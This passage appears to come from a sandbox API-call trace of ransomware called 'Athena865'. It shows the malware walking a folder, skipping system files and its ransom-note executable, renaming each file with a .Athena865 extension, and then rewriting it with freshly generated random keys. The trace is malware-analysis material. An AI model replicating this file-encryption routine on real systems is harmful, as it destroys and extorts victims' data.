lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2="ntuser.dat") returned -1 [0048.719] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2="perflogs") returned -1 [0048.719] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2="MSBuild") returned -1 [0048.719] lstrlenW (lpString="MS.OUTLOOK.DEV.14.1033.hxn") returned 26 [0048.719] lstrcpyW (in: lpString1=0x241e884, lpString2="MS.OUTLOOK.DEV.14.1033.hxn" | out: lpString1="MS.OUTLOOK.DEV.14.1033.hxn") returned="MS.OUTLOOK.DEV.14.1033.hxn" [0048.719] lstrlenW (lpString="MS.OUTLOOK.DEV.14.1033.hxn") returned 26 [0048.719] lstrlenW (lpString="Athena865") returned 9 [0048.719] lstrcmpiW (lpString1=".1033.hxn", lpString2="Athena865") returned -1 [0048.719] lstrlenW (lpString=".dll") returned 4 [0048.719] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2=".dll") returned 1 [0048.719] lstrlenW (lpString=".lnk") returned 4 [0048.719] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2=".lnk") returned 1 [0048.719] lstrlenW (lpString=".ini") returned 4 [0048.719] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2=".ini") returned 1 [0048.719] lstrlenW (lpString=".sys") returned 4 [0048.719] lstrcmpiW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2=".sys") returned 1 [0048.719] lstrlenW (lpString="MS.OUTLOOK.DEV.14.1033.hxn") returned 26 [0048.719] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn.Athena865") returned 66 [0048.719] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.outlook.dev.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.outlook.dev.14.1033.hxn.athena865"), dwFlags=0x1) returned 1 [0048.720] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.outlook.dev.14.1033.hxn.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0048.720] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=362) returned 1 [0048.720] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.723] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.723] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.723] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.724] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x470, lpName=0x0) returned 0x154 [0048.728] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x470) returned 0x100000 [0048.728] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.729] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.729] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.729] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0048.729] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0048.730] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0048.730] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0048.730] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0048.730] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0048.730] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50afa8 [0048.730] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0048.730] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50afa8 | out: hHeap=0x4f0000) returned 1 [0048.730] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0048.730] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0048.730] CloseHandle (hObject=0x154) returned 1 [0048.730] CloseHandle (hObject=0x17c) returned 1 [0048.730] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0048.730] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0048.730] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0048.730] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xf5fa06b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5fa06b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5fec970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.POWERPNT.14.1033.hxn", cAlternateFileName="MSPOWE~1.HXN")) returned 1 [0048.731] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.731] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.731] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2=".") returned 1 [0048.731] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2="..") returned 1 [0048.731] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2="windows") returned -1 [0048.731] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2="bootmgr") returned 1 [0048.731] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2="temp") returned -1 [0048.731] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2="pagefile.sys") returned -1 [0048.731] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2="boot") returned 1 [0048.731] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2="ids.txt") returned 1 [0048.731] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2="ntuser.dat") returned -1 [0048.731] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2="perflogs") returned -1 [0048.731] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2="MSBuild") returned -1 [0048.731] lstrlenW (lpString="MS.POWERPNT.14.1033.hxn") returned 23 [0048.731] lstrcpyW (in: lpString1=0x241e884, lpString2="MS.POWERPNT.14.1033.hxn" | out: lpString1="MS.POWERPNT.14.1033.hxn") returned="MS.POWERPNT.14.1033.hxn" [0048.731] lstrlenW (lpString="MS.POWERPNT.14.1033.hxn") returned 23 [0048.731] lstrlenW (lpString="Athena865") returned 9 [0048.731] lstrcmpiW (lpString1=".1033.hxn", lpString2="Athena865") returned -1 [0048.731] lstrlenW (lpString=".dll") returned 4 [0048.731] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2=".dll") returned 1 [0048.731] lstrlenW (lpString=".lnk") returned 4 [0048.731] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2=".lnk") returned 1 [0048.731] lstrlenW (lpString=".ini") returned 4 [0048.731] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2=".ini") returned 1 [0048.731] lstrlenW (lpString=".sys") returned 4 [0048.731] lstrcmpiW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2=".sys") returned 1 [0048.731] lstrlenW (lpString="MS.POWERPNT.14.1033.hxn") returned 23 [0048.731] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.14.1033.hxn.Athena865") returned 63 [0048.731] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.powerpnt.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.powerpnt.14.1033.hxn.athena865"), dwFlags=0x1) returned 1 [0048.732] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.powerpnt.14.1033.hxn.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0048.733] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=344) returned 1 [0048.733] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.733] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.733] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.733] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.734] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.734] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.734] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x460, lpName=0x0) returned 0x154 [0048.736] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x460) returned 0x100000 [0048.737] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.738] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.738] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.738] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0048.738] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0048.738] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0048.738] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0048.738] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0048.738] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0048.738] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50afa8 [0048.738] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0048.738] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50afa8 | out: hHeap=0x4f0000) returned 1 [0048.738] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0048.738] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0048.739] CloseHandle (hObject=0x154) returned 1 [0048.739] CloseHandle (hObject=0x17c) returned 1 [0048.739] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0048.739] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0048.739] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0048.739] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xf5fa06b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5fa06b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5fec970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x170, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.POWERPNT.DEV.14.1033.hxn", cAlternateFileName="MSPOWE~2.HXN")) returned 1 [0048.739] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.739] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.739] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2=".") returned 1 [0048.739] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2="..") returned 1 [0048.739] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2="windows") returned -1 [0048.739] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2="bootmgr") returned 1 [0048.739] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2="temp") returned -1 [0048.739] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2="pagefile.sys") returned -1 [0048.739] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2="boot") returned 1 [0048.739] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2="ids.txt") returned 1 [0048.739] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2="ntuser.dat") returned -1 [0048.739] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2="perflogs") returned -1 [0048.739] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2="MSBuild") returned -1 [0048.739] lstrlenW (lpString="MS.POWERPNT.DEV.14.1033.hxn") returned 27 [0048.739] lstrcpyW (in: lpString1=0x241e884, lpString2="MS.POWERPNT.DEV.14.1033.hxn" | out: lpString1="MS.POWERPNT.DEV.14.1033.hxn") returned="MS.POWERPNT.DEV.14.1033.hxn" [0048.739] lstrlenW (lpString="MS.POWERPNT.DEV.14.1033.hxn") returned 27 [0048.739] lstrlenW (lpString="Athena865") returned 9 [0048.739] lstrcmpiW (lpString1=".1033.hxn", lpString2="Athena865") returned -1 [0048.739] lstrlenW (lpString=".dll") returned 4 [0048.740] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2=".dll") returned 1 [0048.740] lstrlenW (lpString=".lnk") returned 4 [0048.740] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2=".lnk") returned 1 [0048.740] lstrlenW (lpString=".ini") returned 4 [0048.740] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2=".ini") returned 1 [0048.740] lstrlenW (lpString=".sys") returned 4 [0048.740] lstrcmpiW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2=".sys") returned 1 [0048.740] lstrlenW (lpString="MS.POWERPNT.DEV.14.1033.hxn") returned 27 [0048.740] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn.Athena865") returned 67 [0048.740] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.powerpnt.dev.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.powerpnt.dev.14.1033.hxn.athena865"), dwFlags=0x1) returned 1 [0048.740] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.powerpnt.dev.14.1033.hxn.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0048.740] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=368) returned 1 [0048.740] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.741] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.741] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.741] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.742] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x470, lpName=0x0) returned 0x154 [0048.744] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x470) returned 0x100000 [0048.744] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.745] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.745] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0048.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0048.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0048.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0048.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0048.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0048.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50afa8 [0048.746] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0048.746] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50afa8 | out: hHeap=0x4f0000) returned 1 [0048.746] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0048.746] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0048.746] CloseHandle (hObject=0x154) returned 1 [0048.746] CloseHandle (hObject=0x17c) returned 1 [0048.746] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0048.746] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0048.746] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0048.746] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.SETLANG.14.1033.hxn", cAlternateFileName="MSSETL~1.HXN")) returned 1 [0048.746] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.746] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.746] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2=".") returned 1 [0048.746] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2="..") returned 1 [0048.746] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2="windows") returned -1 [0048.746] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2="bootmgr") returned 1 [0048.746] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2="temp") returned -1 [0048.746] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2="pagefile.sys") returned -1 [0048.746] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2="boot") returned 1 [0048.746] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2="ids.txt") returned 1 [0048.746] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2="ntuser.dat") returned -1 [0048.747] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2="perflogs") returned -1 [0048.747] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2="MSBuild") returned -1 [0048.747] lstrlenW (lpString="MS.SETLANG.14.1033.hxn") returned 22 [0048.747] lstrcpyW (in: lpString1=0x241e884, lpString2="MS.SETLANG.14.1033.hxn" | out: lpString1="MS.SETLANG.14.1033.hxn") returned="MS.SETLANG.14.1033.hxn" [0048.747] lstrlenW (lpString="MS.SETLANG.14.1033.hxn") returned 22 [0048.747] lstrlenW (lpString="Athena865") returned 9 [0048.747] lstrcmpiW (lpString1=".1033.hxn", lpString2="Athena865") returned -1 [0048.747] lstrlenW (lpString=".dll") returned 4 [0048.747] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2=".dll") returned 1 [0048.747] lstrlenW (lpString=".lnk") returned 4 [0048.747] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2=".lnk") returned 1 [0048.747] lstrlenW (lpString=".ini") returned 4 [0048.747] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2=".ini") returned 1 [0048.747] lstrlenW (lpString=".sys") returned 4 [0048.747] lstrcmpiW (lpString1="MS.SETLANG.14.1033.hxn", lpString2=".sys") returned 1 [0048.747] lstrlenW (lpString="MS.SETLANG.14.1033.hxn") returned 22 [0048.747] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft Help\\MS.SETLANG.14.1033.hxn.Athena865") returned 62 [0048.747] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.SETLANG.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.setlang.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.SETLANG.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.setlang.14.1033.hxn.athena865"), dwFlags=0x1) returned 1 [0048.748] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.SETLANG.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.setlang.14.1033.hxn.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0048.748] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=338) returned 1 [0048.748] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.748] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.748] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.748] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.749] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.749] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.749] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x460, lpName=0x0) returned 0x154 [0048.751] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x460) returned 0x100000 [0048.752] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.752] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.752] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.752] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0048.752] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0048.752] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0048.752] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0048.753] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0048.753] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0048.753] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50afa8 [0048.753] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0048.753] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50afa8 | out: hHeap=0x4f0000) returned 1 [0048.753] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0048.753] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0048.753] CloseHandle (hObject=0x154) returned 1 [0048.753] CloseHandle (hObject=0x17c) returned 1 [0048.753] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0048.753] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0048.753] HeapFree (in: hHeap=0x4f0000, 